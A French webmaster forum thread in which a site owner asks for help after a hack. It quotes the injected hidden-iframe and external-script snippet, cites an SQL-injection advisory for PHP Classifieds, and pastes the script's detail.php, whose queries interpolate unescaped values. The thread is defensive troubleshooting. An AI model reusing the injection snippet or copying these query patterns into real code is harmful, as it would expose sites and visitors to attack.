Version complète: sur le forum Webmaster Hub : Suite à un piratage
Webmaster Hub > Création et exploitation de Sites Internet > Les langages du Net > PHP
lechtimi
Bonjour
Mon site à été piraté mad2.gif
Le hacker est passé par .../admin/config/templates_news/
et là il injecte une ligne de commande (<div id="stats" style="visibility:hidden;" width='1' height='1'><iframe src ="http://www......com" frameborder='0' height='1' width='1'></iframe></div> <script type="text/javascript" src="http://...."></script>)
J'ais beau supprimé cette ligne, mon site est toujour redirigé sur un autre site !
J'ais beau cherché dans d'autre fichiers je ne retrouve pas cette ligne autre part, qu'a t'il put faire d'autre ? ou comment procéder
Comme je n'ais absolument pas de connaissance dans ce domaine j'aurais besoin d'aide.
Merci
sarc
Bonjour,

Regarde dans le .htaccess, c'est un autre endroit où il peut y avoir une redirection. Sinon, on aura du mal à t'aider, sans l'adresse de ton site... S'il redirige vers un site dangereux ou interdit par les lois françaises, ne donne l'adresse qu'en privé.

Tu as bien uploadé la page corrigée sur ton serveur ? Ie sans la ligne avec l'iframe ?

Bloque le javascript sur ton navigateur et va sur ton site pour lire le code source et trouver un problème.

lechtimi
Salut
Je crois que j'ais trouvé la solution
En supprimant la ligne et en vidant le cache de .../admin/config/cache cela fonctionne
Merci
Dadou
Oui mais cela ne suffit pas, tu dois absolument déterminer la faille de sécurité qu'il a utiliser pour la combler, sinon il y a des chances qu'il recommence
lechtimi
Salut
Tu avais raison Doudou il n'a pas tardé à recommencer.
J'ai corrigé une faille de sécurité connu pour ce script, mais malheuresement c'est pas celle là.
En plus j'ais essayé d'installer la nouvelle version du script et d'importer mes annonces mais ça ne marche pas ( il y a des fichiers dans la derniére version qui ne sont pas dans l'ancienne! Et j'ais plus de 10000 annonces que je ne voudrais pas perdre.
lechtimi
J'ais cru lire quelque part qu'il était possible de voir où il était passé avec les logs ? quelqu'un pourrait il m'expliquer.

Autre chose j'ais trouvé ceci:
Description :
ajann a découvert une vulnérabilité dans PHP Classifieds, qui pourrait être exploitée par des personnes malintentionnées pour conduire des attaques SQL.

L'entrée passée au paramètre "user_id" dans detail.php n'est pas correctement filtrée avant d'être utilisée dans une requête SQL. Cela pourrait être exploité pour manipuler les interrogations SQL en injectant du code SQL arbitraire.

La vulnérabilité est confirmée en version 7.1b. Les autres versions pourraient également être affectées.


Solutions :
Editez le code source pour s'assurer que l'entrée est correctement filtrée.

Voici mon detail php et comment filtrée l'entrée. Merci


CODE
<?
$lSearchEngineArray=array("Google", "Fast", "Slurp", "Ink", "Atomz", "Scooter", "Crawler", "MSNbot", "Poodle", "Genius");
$lIsSearchE=0;
foreach($lSearchEngineArray as $key => $val)
if(strstr($_SERVER['HTTP_USER_AGENT'], $val))
$lIsSearchE++;
if($lIsSearchE==0)
session_start();

include_once("admin/inc.php");

$ad_id=round(getParam("id",""));
$lPrint=getParam("print","");

// If setting is not set, use these defaults...
if (!$set_outer_color) { $set_outer_color = "#A9B8D1"; }
if (!$set_inner_color) { $set_inner_color = "#FFFFFF"; }
if (!$set_descr_color) { $set_descr_color = "#FFFFFF"; }
if (!isset($set_descr_cell)) { $set_descr_cell = 10; }
if (isset($preview)) { $ad_id = $preview; $validation = 0; }

if (!$ad_id)
criticalError(LA_ERROR,LA_ERROR_NO_ID);

if ($validation == 1 && getParam("preview","")=="") { $val_string = " AND ad_is_validated = 1"; } else { $val_string = ""; }
$sql_links = "select * from $ads_tbl, $cat_tbl, $usr_tbl where cat_id=ad_cat_id AND user_id=ad_owner AND ad_id=$ad_id $val_string";
$result_from_ad = q($sql_links);
$row_from_ad=mysql_fetch_array($result_from_ad);

if (mysql_num_rows($result_from_ad) == 0)
criticalError(LA_AD_REMOVED_CAPTION,formatString(LA_AD_REMOVED_CONTENT,array("http://$url")));

$sitetitle = $row_from_ad["ad_title"];
$ad_description = $row_from_ad["ad_description"];
$userid = $row_from_ad["user_id"];
$ad_date = $row_from_ad["ad_date"];
$ad_views = $row_from_ad["ad_views"];
$ad_votes = $row_from_ad["ad_votes"];
$ad_voters = $row_from_ad["ad_voters"];
$ad_totalscore = $row_from_ad["ad_totalscore"];
$votes = $row_from_ad["user_votes"];
$voters = $row_from_ad["user_voters"];
$name = $row_from_ad["user_name"];
$email = $row_from_ad["user_email"];
$catname = $row_from_ad["cat_name"];
$catid = $row_from_ad["cat_id"];
$vendor_url = $row_from_ad["user_vendor_url"];
$vendor_homepage = $row_from_ad["user_vendor_homepage"];
$sold = $row_from_ad["ad_is_sold"];
$cattpl = $row_from_ad["cat_tpl"];
$datestamp = $row_from_ad["ad_date"];
$ad_has_picture = $row_from_ad["ad_has_picture"];
$is_vendor = $row_from_ad["user_is_vendor"];
$hide_email = $row_from_ad["user_hide_email"];
$img_stored = $row_from_ad["img_stored"];
$user_id = $row_from_ad["user_id"];
$expire_days = $row_from_ad["ad_expires_after_days"];
$ad_expires=formatDateShort($row_from_ad["ad_date_expire"]);
$timestamp_expire_date=$row_from_ad["ad_date_expire"];
$ad_added=formatDateShort($row_from_ad["ad_date"]);
$pagename= $sitename . " - " . $sitetitle;
$meta_desc=htmlspecialchars(dotString($ad_description,150));
if (empty($lPrint))
include_once("header_inc.php");
else
{
include ($full_path_to_public_program . "/admin/classes/TplLoad.php");
echo "<script language='javascript'>window.print()</script>";
echo "<p><a href='detail.php?id=$ad_id'><h2>$la_p</h2></a></p>";
}

$tplDetail=new TplLoad;
$tplDetail->assign("isLoggedIn",$_SESSION["valid_user"]);
$tplDetail->assign("set_outer_color",$set_outer_color);
$tplDetail->assign("set_inner_color",$set_inner_color);
$tplDetail->assign("set_descr_color",$set_descr_color);
$tplDetail->assign("set_descr_cell",$set_descr_cell);
$tplDetail->assign("id_ad","$ad_id");
$tplDetail->assign("ad_id","$ad_id");
$tplDetail->assign("ad_title","$sitetitle");
$tplDetail->assign("ad_added","$ad_added");
$tplDetail->assign("ad_hits","$ad_views");
$tplDetail->assign("ad_expire","$ad_expires");
$tplDetail->assign("ad_catid","$catid");
$tplDetail->assign("ad_username","$name");
$tplDetail->assign("ad_email","$email");
$tplDetail->assign("banner","$lBanner");
if ($set_nl2br)
$ad_description=nl2br($ad_description);

$tplDetail->assign("ad_description","$ad_description");
$tplDetail->assign("user_id","$user_id");
$tplDetail->assign("num_days",getHowManyDaysRemains($timestamp_expire_date,time()));
$tplDetail->assign("LA_REMOVE_FAV",urldecode(LA_REMOVE_FAV));
$tplDetail->assign("LA_ADD_FAV",urldecode(LA_ADD_FAV));
$tplDetail->assign("set_image_program",$set_image_program);
// Print out linked title
writeLinkedTitle(getCategoryId($ad_id));

if ($set_detail_login_need==1)
check_valid_user("");

if ($hide_email==1)
$tplDetail->assign("hide_email",1);
else
$tplDetail->assign("email","$email");


// Member Rating
if ($set_vote_on_member)
$tplDetail->assign("rate_member",$set_vote_on_member);
if ($set_ratemem_login_need)
$tplDetail->assign("rate_member_requires_login","$set_ratemem_login_need");
if ($voters > 0)
$votes = round($votes/$voters, 1);
else {
$votes=0;
$voters=0;
}
$tplDetail->assign("sold","$sold");
$tplDetail->assign("ad_member_votes","$votes");
$tplDetail->assign("ad_member_voters","$voters");

// Ad Rating
if ($set_rate)
$tplDetail->assign("rate_ad","$set_rate");
if ($set_rate_ad_require_member)
$tplDetail->assign("rate_ad_requires_login","$set_rate_ad_require_member");

// Get image rating
$lStr=getStarRating($ad_totalscore);

$tplDetail->assign("ad_vote_img_result","$lStr");
$tplDetail->assign("ad_ad_votes","$ad_votes");
$tplDetail->assign("ad_ad_voters","$ad_voters");
$tplDetail->assign("ad_totalscore","$ad_totalscore");

// Code for prev next result
if ($sold == 1)
$tplDetail->assign("isSold",1);

if ($vendor_url AND $set_vendor AND $is_vendor)
$tplDetail->assign("vendor","<a href='$vendor_homepage' target='new'><img src='$vendor_url' border='0'></a>");

$sql_prevad_id = "select ad_id from $ads_tbl, $cat_tbl, $usr_tbl where cat_id=ad_cat_id AND ad_owner=user_id AND ad_id < $ad_id AND cat_id = $catid $val_string order by ad_id desc limit 1";
$result_prevad_id = q($sql_prevad_id);
$row_prev = mysql_fetch_array($result_prevad_id);
$prevad_id = $row_prev["ad_id"];

$sql_nextad_id = "select ad_id from $ads_tbl, $cat_tbl, $usr_tbl where cat_id=ad_cat_id AND ad_owner=user_id AND ad_id > $ad_id AND cat_id = $catid $val_string order by ad_id asc limit 1";
$result_nextad_id = q($sql_nextad_id);
$row_next = mysql_fetch_array($result_nextad_id);
$nextad_id = $row_next["ad_id"];

// PREV NEXT AD
if ($prevad_id)
{
$str_nav.="<a href='detail.php?id=$prevad_id&amp;catid=$catid'>";
$str_nav.="<img src='layout_images/arrow-back.gif' border='0' alt='' /> ".LA_P."</a>";
$tplDetail->assign("prev_link","detail.php?id=$prevad_id&amp;catid=$catid");
}
$str_nav.="&nbsp;&nbsp;&nbsp;";
if ($nextad_id)
{
$str_nav.="<a href='detail.php?id=$nextad_id&amp;catid=$catid'>";
$str_nav.=LA_N . " <img src='layout_images/arrow-forw.gif' border='0' alt='' /></a>";

$tplDetail->assign("next_link","detail.php?id=$nextad_id&amp;catid=$catid");

}
$tplDetail->assign("navigation","$str_nav");

if (getParam("contact",""))
include "contact.php";
if (getParam("tellafriend",""))
include "tellafriend.php";

//print_r($row_from_ad);

$lQuestions=getDbValuesBasedOnQuestions($cattpl,1,$row_from_ad,$set_seperator);
$tplDetail->assign("ads",$lQuestions[$ad_id]);

$lQuestions=getDbValuesBasedOnQuestions($cattpl,2,$row_from_ad,$set_seperator);
$tplDetail->assign("users",$lQuestions[$ad_id]);


if ($set_favourites AND isset($_SESSION["valid_user"]))
{
$sql = "select fid from $fav_tbl where f_adid=$ad_id AND f_user_id = ".$_SESSION["valid_user"];
$r = mysql_query($sql);
$number = mysql_num_rows($r);

if ($number)
$tplDetail->assign("fav_remove_link",1);
else
$tplDetail->assign("fav_add_link",1);
}




$query = "select * from $vid_tbl where video_adid=$ad_id";
$sql_result = q($query);
while ($row=mysql_fetch_array($sql_result))
{

$id = $row["video_id"];
$filename_stored = $row["video_file"];
$array = split("\.",$filename_stored);
$last=count($array)-1;
$ext=$array[$last];

$videoArray[$i]["file"]=$filename_stored;
$videoArray[$i]["id"]=$id;
$videoArray[$i]["ext"]=strtolower($ext);
$i++;


}
$tplDetail->assign("video_list",$videoArray);


$query = "select * from $doc_tbl where f_adid=$ad_id order by f_id desc";
$sql_result_doc = q ($query);
$i=0;
while ($row=mysql_fetch_array($sql_result_doc))
{

$id = $row["f_id"];
$filetype = $row["filetype"];
$filename = $row["f_file"];

$fArray[$i]["id"] = $id;
$fArray[$i]["name"] = $filename;
$lSize=filesize("images/docs/" . $filename);
$fArray[$i]["size"] = round($lSize/1024);

$lDisplay=ereg_replace($ad_id . "_","",$filename);
$fArray[$i]["display_name"] = $lDisplay;
$lExtArray=split("\.",$filename);
$lExt=end($lExtArray);
$fArray[$i]["ext"] = strtolower($lExt);
$i++;

}
$tplDetail->assign("doc_list", $fArray);



$query = "select id,filename from $pic_tbl where pic_ad_id=$ad_id";
$sql_result = q($query);
$num_ad_has_pictures = mysql_num_rows($sql_result);

for ($i=0; $i<$num_ad_has_pictures; $i++)
{
$row = mysql_fetch_array($sql_result);
$id = $row["id"];
$filename_stored = $row["filename"];
if ($set_image_program==0)
{
$lSizeArray=setImageSize($filename_stored,getManualSize("small"),0);
$imgArray[$i]["w"]=$lSizeArray[0];
$imgArray[$i]["h"]=$lSizeArray[1];
}
else
$filename_stored=ereg_replace("tmb2","tmb1",$filename_stored);

$imgArray[$i]["file"]=$filename_stored;
$imgArray[$i]["id"]=$id;
$imgArray[$i]["nr"]=$i;

}
if ($set_image_program==0)
$tplDetail->assign("image_max",getManualSize("small"));
$tplDetail->assign("image_list",$imgArray);
$tplDetail->assign("set_slideshow",$set_slideShow);
$tplDetail->assign("set_slideShow_sec",$set_slideShow_sec*1000);
$tplDetail->assign("set_slideShow_count_from",$set_slideShow_sec);
$tplDetail->assign("num_pictures",$num_ad_has_pictures);
$tplDetail->assign("show_still",getParam("show_still",""));

$s = "UPDATE $ads_tbl set ad_views=ad_views+1 where ad_id=$ad_id";
$result1=q($s);

$tplDetail->display("detail.tpl");

if (empty($lPrint))
include_once("footer_inc.php");
else
echo formatString("<center>".LA_PRINT_CLEAN."</center>", array(formatDate(date("Ymd")),date("H:m"),"http://$url/detail.php?id=$ad_id"));
?>
gorderson
Bonjour !

C'est quoi comme script qui bug ?

Merci !
Ceci est une version "bas débit" de notre forum. Pour voir la version complète avec plus d'information, la mise en page et les images, veuillez cliquer ici.